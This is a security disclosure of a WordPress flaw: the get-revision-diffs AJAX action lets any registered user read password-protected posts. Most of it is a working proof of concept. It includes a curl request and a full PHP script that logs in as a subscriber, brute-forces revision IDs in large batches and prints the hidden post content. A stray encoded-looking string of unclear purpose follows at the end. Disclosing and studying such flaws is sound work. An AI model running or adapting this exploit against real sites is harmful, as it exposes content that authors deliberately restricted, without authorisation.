WordPress [Authentication Bypass]

Description

This affects password protected posts/pages, when we refer to post(s) in this document we actually mean all types of posts (posts, pages, custom post types) that support revisions.

WordPress supports the creation of password protected posts. To read these posts, user must provide a password which is defined by the post author. Read more about this functionality at [WordPress Codex] (https://codex.wordpress.org/Using_Password_Protection).

The interesting thing about password protected posts is that read_post capability is true for all users, even if they haven’t provided a password. Normally when you ask for the content of a post with the_content() or get_the_content(), a check for password protected content is taking place. But what if they were cases which just check for read_post capability to display post content?

We currently have identified one entry point in WordPress core to exploit this and this is AJAX action get-revision-diffs. This is a privileged AJAX action so it needs a registered user to exploit it.

Prerequisites:

  • A password protected post
  • At least two revisions of this post
  • A registered user

PoC

A very basic example request

curl -XPOST 'http://sbwp1.dev/wp-admin/admin-ajax.php' -b "${COOKIES}" \
    -d 'action=get-revision-diffs&post_id=1&compare[]=1:6'

The following script will search for a revision of post with ID 1 and display it as raw output.

#!/usr/bin/env php
<?php
/***********************************************************************
 * WordPress - Authentication Bypass for Password Protected Posts
 *
 * Author: Pan Vag <[email protected]>
 * Dependencies: Requests for PHP - http://requests.ryanmccue.info/
 **********************************************************************/
// Assuming we have installed `Requests for PHP` with composer in 
// vendor dir
require_once 'vendor/autoload.php';

$baseUrl  = 'http://sbwp1.dev';
$loginUrl = $baseUrl . '/wp-login.php';
$ajaxUrl  = $baseUrl . '/wp-admin/admin-ajax.php';

$loginPostData = [
    'log'        => 'subscriber',
    'pwd'        => 'password',
    'rememberme' => 'forever',
    'wp-submit'  => 'Log+In',
];

/**
 * The post we want to bypass the authentication
 *
 * @var int
 */
$postId = 1;
/**
 * This controls the ids to check after the given post id.
 *
 * @var int
 */
$searchInTheNextNIds = 10000;
/**
 * This controls the number of revisions we check in each request.
 *
 * @var int
 */
$concurrentRevisionChecks = 1000;

$s = new Requests_Session( $baseUrl );

$r = $s->post( $loginUrl, [ ], $loginPostData );

if ( $r->url == $loginUrl ) {
    echo '[-] Authentication failed' . PHP_EOL;
    exit( 1 );
}

$c = (int) $postId + 1;

$postData = [
    'action'  => 'get-revision-diffs',
    'post_id' => (int) $postId,
];

while( $c <= $searchInTheNextNIds ) {
    $postData["compare"] = [ ];

    // POST param compare gives us the ability to search for multiple 
    // revisions with one request so we are going to use this in
    // order to make the brute force revision search faster
    echo "[*] Checking IDs {$c}-" . ( $c + $concurrentRevisionChecks ) . PHP_EOL;
    for ( $i = 0; $i < $concurrentRevisionChecks && $c <= ( $postId + $searchInTheNextNIds ); $i ++ ) {
        $postData["compare"][] = "{$postId}:{$c}";
        $c ++;
    }

    $r = $s->post( $ajaxUrl, [ ], $postData );

    if ( ! $r->success ) {
        echo '[-] Failed request, check your input' . PHP_EOL;
        exit( 1 );
    }
    $json = json_decode( $r->body );

    if ( ! isset( $json->success ) || ! $json->success ) {
        echo '[-] Failed request, checking next batch' . PHP_EOL;
        continue;
    }

    foreach ( $json->data as $compareResult ) {
        if ( ! $compareResult->fields ) {
            continue;
        }
        // If the returned fields contain only the post title then there 
        // is no changes in post content
        // At this point it's most unlikely for another revision with 
        // content changes to exist so we stop exploitation 
        if ( ! isset( $compareResult->fields[1] ) ) {
            echo "[-] We found the revision `{$compareResult->id}` but there is no post content." . PHP_EOL;
            exit( 1 );
        }
        // normally the first revision we find will have the most difs 
        // from the parent post
        echo "[+] Found revision `{$compareResult->id}`. Results will be printed bellow in the form of difs table."
             . PHP_EOL;
        foreach ( $compareResult->fields as $field ) {
            echo "\t ID: {$field->id} \t| name: {$field->name}" . PHP_EOL;
            echo $field->diff . PHP_EOL;
        }
        exit( 0 );
    }
}

echo '[-] Exploitation finished but we couldn\'t find a revision for the given post id';
exit( 1 );

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX